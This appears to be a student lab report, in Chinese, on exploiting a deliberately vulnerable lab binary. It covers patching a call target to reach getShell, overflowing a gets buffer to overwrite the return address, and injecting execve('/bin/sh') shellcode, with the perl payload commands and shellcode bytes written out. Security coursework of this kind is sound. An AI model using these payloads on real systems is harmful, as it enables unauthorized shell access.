20212908 2021-2022-2 《网络攻防实践》实践九报告
一、实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
二、实践过程
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(1)执行pwn1,发现能够回显用户输入
(2)使用指令objdump -d pwn1 | more
反汇编提供的pwn1文件,我们可以看到pwn1所有的函数。
找到main函数,发现其中80484b5行的call指令调用了foo函数,在这个文件中,call指令的机器码是e8。而8048491=80484ba+ffffffd7,也就是说,call指令跳转到的目标foo函数的地址(8048491)正是该指令的下一条指令的EIP寄存器的值(指令的下一条指令的地址)与该指令的表示目标的字段之和。因此,想要改变程序执行流程,直接跳转到getShell函数,我们只需修改call指令后的地址:由于804847d-80484ba=ffffffc3,所以我们只需要把call指令的目标地址由d7ffffff改为c3ffffff即可。
(3)用vi编辑器打开pwn1:vi pwn1
(4)按下esc退出编辑模式,然后键入:%!xxd,切换为16进制模式。
(5)搜索d7ffffff,将其修改为c3ffffff
(6)转换为原格式:%!xxd -r
,存盘退出vi:wq
(7)使用指令objdump -d pwn1 | more
反汇编pwn1文件,发现main中地址已经成功修改
(8)执行pwn1,成功调用getshell函数
2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
(1)使用objdump -d pwn0 | more
将pwn0反汇编后查看foo函数,该函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但是该函数并没有检查用户输入,所以存在BOF漏洞。
观察反汇编出的汇编代码得知预留的局部变量的空间为0x38,而gets函数将读取到的字符串存放到0x1c(28个字节)处,根据堆栈结构,当输入字符串长度达到36时,第33~36个字节将会覆盖到EIP中:
(2)输入长度为38的字符串“aaaaaaaaabbbbbbbbbcccccccccdddddddddee”,发现EIP寄存器的内容为0x64646464,是“d”的ASCLL码的十六进制64,说明当输入字符串过长时,第33~36个字节将会覆盖EIP的内容。
(3)如果我们想要触发getShell函数,可以把eip的值即输入的字符串的第33-36个字节设为getshell的地址值0804847d。由于elf语言是小端优先,我们在33-36个字节应该这样输入:\x7d\x84\x04\x08。
使用命令perl -e 'print "yyyyyyyyxxxxxxxxyyyyyyyyxxxxxxxx\x7d\x84\x04\x08\x0a"' > pwn0_input
生成十六进制字符串文件“input”,然后用(cat pwn0_input; cat) | ./pwn0
命令将input作为pwn1的输入,获得shell:
3. 注入一个自己制作的shellcode并运行这段shellcode
(1)下载工具execstack
(2)准备工作:设置堆栈可执行,关闭地址随机化,使攻击环境比较理想。
(3)为了保证注入的shellcode能够顺利运行,我们需要找到程序放置shellcode的地址,首先任意构造一个长度为36个字节的input_shellcode文件,通过gdb调试查找地址。
输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
将input_shellcode注入pwn1。输入:(cat input_shellcode;cat) | ./pwn1
(4)重新打开一个终端进行gdb调试,输入:ps -ef | grep pwn1
可以看到pwn1进程id为12576。
(5)输入:gdb
,进入gdb调试。
输入:attach 12576
,查看pwn1进程。
输入:disassemble foo
,可以看到此时程序在”80484ae”处停止。
输入:break *0x080484ae
,设置断点。
此处需注意,要在第一个终端中按回车后,接着回到第二个终端输入:info r esp
,查看栈顶指针的位置在“0xffffd50c”。
输入:x/16x 0xffffd50c
,可以看到值“01020304”的位置在“0xffffd50c”。
(6)0xffffd50c+0x00000004=0xffffd510
输入:perl -e 'print "A" x 32;print "\x10\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
,重新构造input_shellcode。
输入:(cat input_shellcode;cat) | ./pwn1
,将input_shellcode注入pwn1。
三、学习中遇到的问题及解决
--问题1:gdb调试时断点设置失败,导致注入出现问题
--问题1解决方案:询问同学之后,发现设置断点之后,需要在另一个终端界面进行回车调试。
4.实践总结
本次实验,进行了缓冲区溢出和shellcode的安全攻防相关学习,复习了本科相关编译指令,了解并掌握了反汇编语句、注入shellcode语句和gdb工具的使用,让我对软件安全有了更加深入的理解,提高了自己的动手能力。